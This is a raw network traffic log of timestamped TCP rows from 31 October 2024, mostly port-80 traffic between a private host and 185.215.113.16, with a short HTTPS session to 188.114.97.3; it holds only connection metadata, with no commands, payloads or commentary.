Oct 31, 2024 20:52:22.610846043 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.610902071 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.610944986 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.610966921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.610991001 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611013889 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611037970 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611056089 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.611082077 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.611779928 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611794949 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611833096 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.611851931 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.611908913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611922979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.611963987 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.651098013 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.651134014 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.651166916 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.651189089 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.651221037 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.654010057 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.654062986 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.654095888 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.654120922 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.654159069 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.706238985 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:22.706263065 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:22.706338882 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:22.706801891 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:22.706810951 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:22.732319117 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732372999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732423067 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732456923 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732490063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732523918 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732562065 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.732562065 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.732562065 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.732920885 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.732950926 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.732974052 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.732976913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.733011007 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.733053923 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.733062029 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.733103037 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.772290945 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.772598982 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.772934914 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.775017977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.775074959 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.775079012 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.775110006 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.775121927 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.775145054 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.775152922 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.775191069 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.853074074 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853097916 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853172064 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.853220940 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853235960 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853251934 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853262901 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.853266954 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853296041 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.853322983 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.853754997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853801966 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.853847027 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.853991032 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.854007006 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.854022980 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.854032993 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.854038000 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.854065895 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.854098082 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.894059896 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.894076109 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.894090891 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.894133091 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.894176006 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.896141052 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.896182060 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.896198034 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.896214008 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.896236897 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.896279097 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.979435921 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979453087 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979465961 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979476929 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979489088 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979501009 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979513884 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979513884 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.979526997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979541063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:22.979552984 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.979574919 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:22.979599953 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.033655882 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033674955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033690929 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033703089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033715010 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033730030 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033745050 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.033790112 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.033968925 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.033982038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.034015894 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.034041882 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.103904009 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.103923082 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.103936911 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.103950024 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.103964090 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.103977919 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.104016066 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.104079008 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.104218960 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.104264975 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.104285955 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.104298115 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.104338884 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.136271000 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.136286974 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.136298895 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.136468887 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.138931036 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.138951063 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.138962030 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.139034033 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.155826092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.155844927 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.155858040 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.155874014 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.155905008 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.155947924 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.225923061 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.225941896 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.225955009 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226099014 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226113081 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226124048 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226198912 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.226198912 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.226198912 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.226739883 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226751089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226763010 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.226809978 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.226843119 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.257601976 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.257626057 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.257638931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.257662058 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.257673979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.257771969 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.257947922 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.260101080 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.260114908 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.260128021 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.260193110 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.278405905 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.278433084 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.278446913 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.278460026 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.278472900 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.278664112 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.278664112 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.331619024 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.331923008 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:23.333437920 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:23.333444118 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.333667040 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.335062027 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:23.335169077 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:23.335175037 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.347397089 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347414017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347426891 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347440958 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347510099 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.347537041 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347558022 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.347575903 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.347645998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347719908 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.347774982 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.348076105 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.348095894 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.348108053 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.348133087 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.348165989 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.379019976 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.379045963 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.379056931 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.379095078 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.379113913 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.379121065 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.379136086 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.379158020 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.379173040 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.381903887 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.381917000 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.381927013 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.381989956 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.399435997 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.399458885 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.399491072 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.399594069 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.399704933 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.399704933 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.399704933 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.442173958 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.442193031 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.442305088 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.442445040 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.442445040 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.469789028 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.469805956 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.469813108 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.469943047 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.469954014 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.469964981 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.470103979 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.470103979 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.470422983 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.470433950 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.470446110 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.470477104 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.470496893 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.503144979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.503220081 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.503290892 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.503302097 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.503319025 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.503340006 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.503391027 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.504451990 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.504463911 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.504475117 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.504496098 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.504522085 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.504626036 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.504673958 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.504786015 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.504825115 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.522020102 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.522078991 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.522157907 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.522170067 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.522203922 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.563415051 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.563427925 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.563441038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.563467026 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.563493013 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591469049 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591480970 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591492891 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591564894 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591624975 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591644049 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591666937 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591679096 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591905117 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591917038 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591928959 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591941118 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591943979 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.591959953 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591974974 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.591996908 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.622873068 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.622927904 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.623013020 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.623023033 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.623035908 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.623048067 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.623056889 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.623059988 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.623071909 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.623114109 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.626355886 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.626367092 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.626378059 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.626410007 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.626455069 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.643692017 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.643713951 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.643734932 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.643753052 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.643776894 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.660027027 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.660120010 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.660164118 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:23.660466909 CET	49751	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:23.660482883 CET	443	49751	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:23.684849977 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.684900999 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.684915066 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.684932947 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.684962034 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.711771965 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.711786032 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.711797953 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.711838007 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.711855888 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.711890936 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.711916924 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.711927891 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.711934090 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.711966038 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.712326050 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.712337971 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.712357998 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.712368011 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.712378979 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.712395906 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743104935 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743120909 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743134022 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743165016 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743202925 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743275881 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743324041 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743329048 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743335962 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743376970 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743403912 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743870974 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743889093 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743900061 CET	80	49750	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:23.743922949 CET	49750	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:23.743941069 CET	49750	80	192.168.2.4	185.215.113.16
